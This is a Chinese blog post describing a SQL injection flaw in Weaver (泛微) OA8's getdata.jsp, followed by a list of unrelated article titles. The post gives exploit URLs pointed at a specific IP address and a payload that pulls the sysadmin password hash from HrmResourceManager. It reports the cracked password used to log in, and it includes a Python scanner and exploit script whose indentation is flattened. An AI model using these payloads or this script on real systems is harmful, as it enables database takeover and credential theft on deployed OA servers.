当前位置: 首页 > news >正文

泛微OA8前台SQL注入

漏洞URL:

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***注入点

在getdata.jsp中,直接将request对象交给

weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :

方法处理

在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法

Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)

在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中

在getSelectAllIds(sql,type)方法中,直接将sql参数的值,传递进数据库执行,并判断type的值是否等于5,如果等于5,获取查询结果的requestId字段,否则获取查询结果的id字段

到此,参数从URL,一直到数据库被执行

根据以上代码流程,只要构造请求参数

?cmd= getSelectAllId&sql=select password as id from userinfo;

即可完成对数据库操控

在浏览器中,构造测试URL:

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id

页面显示1234

使用payload:

Select password as id from HrmResourceManager

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)

对密文进行md5对比:

使用sysadmin    123450aA.登录系统

scan.py(python3)

import requests
import urllib3
import argparse
import hashlib
parser = argparse.ArgumentParser(description='This is the help!')
parser.add_argument('-u','--url', help='Please Input a url!',default='')
parser.add_argument('-i','--ip', help='Please Input a url!',default='')
urllib3.disable_warnings()
args = parser.parse_args()
def Check(url):target = url +"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select 1234 as id"r = requests.get(url=target,verify=False,timeout=8)if r.status_code ==200:print(url+"存在泛微OA8 SQL注入!")else:print("不存在SQL注入!")
def exp(url):target = url +"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select password as id from HrmResourceManager"r = requests.get(url=target,verify=False,timeout=8)if r.status_code == 200:i = r.texta = i.strip()print("默认账号:sysadmin")print("密码md5值:"+a)
if __name__=="__main__":if args.url =='' and args.ip !='':Check(args.ip)if args.url !='' and args.ip =='':exp(args.url)

http://www.dtcms.com/a/299673.html

相关文章:

  • GPU运维常见问题处理
  • [硬件电路-93]:模拟器件 - 晶体管的静态工作点,让晶体管工作在其放大电路舞台的中央!!!
  • 企业级 AI 工具选型报告:9 个技术平台的 ROI 对比与部署策略
  • JavaScript:现代Web开发的核心动力
  • 无刷电机行业新一代AI智能化MES系统解决方案
  • LLM参数优化算法与经典理论揭秘
  • JVM 基础架构全解析:运行时数据区与核心组件
  • flask健康减脂饮食推荐—计算机毕业设计源码—07378
  • Oracle 误删数据恢复
  • BGP路由协议-LOCAL_PREF、AS_PATH和MED等属性
  • 【科研绘图系列】R语言绘制误差连线散点图
  • 知识图谱的初步探索
  • Nuxt 4:前端开发的全新篇章
  • 不正确的 clone() 方法实现与修复方案
  • 全能扩展,经济高效| 触想新款工控机化身工业自动化应用多面帮手
  • uniapp 自定义tab栏切换
  • RoPE:相对位置编码的旋转革命——原理、演进与大模型应用全景
  • 【C/C++】explicit_bzero
  • windows安装mysql8缺少时区信息
  • C语言开发工具Win-TC
  • Flask input 和datalist结合
  • C语言数据结构笔记6:函数指针的使用
  • 5. 流程控制语句
  • 哈希指针与数据结构:构建可信数字世界的基石
  • 记一次腾讯云临时密钥接管存储桶
  • obd运维OceanBase数据库的常见场景
  • C++11特性详解(上)
  • 解决使用vscode连接服务器出现“正在下载 VS Code 服务器...”
  • 实现网页访问/接口调用KernelMemory
  • cacti的命令执行和回显